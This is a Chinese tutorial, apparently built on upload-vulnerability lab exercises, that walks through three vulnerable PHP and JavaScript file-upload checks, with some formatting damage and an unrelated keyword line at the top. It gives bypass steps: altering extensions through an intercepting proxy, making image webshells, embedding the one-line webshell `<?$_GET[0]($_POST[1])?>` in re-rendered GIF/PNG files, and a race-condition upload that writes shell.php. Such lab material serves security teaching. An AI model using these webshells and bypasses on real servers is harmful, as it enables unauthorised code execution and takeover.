个体工商网站备案,欧美风网站,cms建站程序哪个好,对企业网站建设的建议目录 1.案例一
1#xff09;案例源码
2#xff09;创建web.php文件
3#xff09;使用抓包软件
2.案例二
1#xff09;案例代码
2#xff09; 案例分析
3#xff09;copy命令生成图片马 4#xff09;上传图片马到服务器
5#xff09;解析 文件图片
3.案例三
…目录 1.案例一
1案例源码
2创建web.php文件
3使用抓包软件
2.案例二
1案例代码
2 案例分析
3copy命令生成图片马 4上传图片马到服务器
5解析 文件图片
3.案例三
1案例代码
2绕过方法
3上传木马然后抓包 4持续发包
5直接访问 1.案例一
1案例源码
function checkFile() {var file document.getElementsByName(upload_file)[0].value;if (file null || file ) {alert(请选择要上传的文件!);return false;}//定义允许上传的文件类型var allow_ext .jpg|.png|.gif;//提取上传文件的类型var ext_name file.substring(file.lastIndexOf(.));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name |) -1) {var errMsg 该文件不允许上传请上传 allow_ext 类型的文件,当前文件类型为 ext_name;alert(errMsg);return false;}
}
2创建web.php文件
文件里面写入下面一行代码
?php phpinfo(); ?
然后上传该文件 就会发现格式不对需要把后缀名改为.jpg。就会发现现在能上传文件但是不能解析文件。 3使用抓包软件
修改下面文件后缀为php就可以上传成功 2.案例二
1案例代码
$is_upload false;
$msg null;
if (isset($_POST[submit])){// 获得上传文件的基本信息文件名类型大小临时文件路径$filename $_FILES[upload_file][name];$filetype $_FILES[upload_file][type];$tmpname $_FILES[upload_file][tmp_name];$target_pathUPLOAD_PATH./.basename($filename);// 获得上传文件的扩展名$fileext substr(strrchr($filename,.),1);//判断文件后缀与类型合法才进行上传操作if(($fileext jpg) ($filetypeimage/jpeg)){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im imagecreatefromjpeg($target_path);if($im false){$msg 该文件不是jpg格式的图片;unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename strval(rand())..jpg;//显示二次渲染后的图片使用用户上传图片生成的新图片$img_path UPLOAD_PATH./.$newfilename;imagejpeg($im,$img_path);unlink($target_path);$is_upload true;}} else {$msg 上传出错;}}else if(($fileext png) ($filetypeimage/png)){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im imagecreatefrompng($target_path);if($im false){$msg 该文件不是png格式的图片;unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename strval(rand())..png;//显示二次渲染后的图片使用用户上传图片生成的新图片$img_path UPLOAD_PATH./.$newfilename;imagepng($im,$img_path);unlink($target_path);$is_upload true; }} else {$msg 上传出错;}}else if(($fileext gif) ($filetypeimage/gif)){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im imagecreatefromgif($target_path);if($im false){$msg 该文件不是gif格式的图片;unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename strval(rand())..gif;//显示二次渲染后的图片使用用户上传图片生成的新图片$img_path UPLOAD_PATH./.$newfilename;imagegif($im,$img_path);unlink($target_path);$is_upload true;}} else {$msg 上传出错;}}else{$msg 只允许上传后缀为.jpg|.png|.gif的图片文件;}
}2 案例分析 exif_imagetype()读取一个图像的第一个字节并检查其后缀名。 返回值与getimage()函数返回的索引2相同但是速度比getimage快得多。需要开启php_exif模块。 3copy命令生成图片马 4上传图片马到服务器 5解析 文件图片 3.案例三
1案例代码
$is_upload false;
$msg null;if(isset($_POST[submit])){$ext_arr array(jpg,png,gif);$file_name $_FILES[upload_file][name];$temp_file $_FILES[upload_file][tmp_name];$file_ext substr($file_name,strrpos($file_name,.)1);$upload_file UPLOAD_PATH . / . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path UPLOAD_PATH . /. rand(10, 99).date(YmdHis)...$file_ext;rename($upload_file, $img_path);$is_upload true;}else{$msg 只允许上传.jpg|.png|.gif类型文件;unlink($upload_file);}}else{$msg 上传出错;}
}2绕过方法 测试图片的渲染后没有修改的位置将一句话木马添加进去这样就可以利用文件包含去执行php一句话木马了 对于GIF 的上传只需要判断没有修改的位置然后将php一句话木马添加即可 对于PNG的上传需要修改PLTE数据块或者修改IDAT数据块 这里可以利用别人写好的脚本将php一句话 ?$_GET[0]($_POST[1])?一句话利用了php短开标签 3上传木马然后抓包 4持续发包 ?php fputs(fopen(../shell.php,w),?php phpinfo();?);? 5直接访问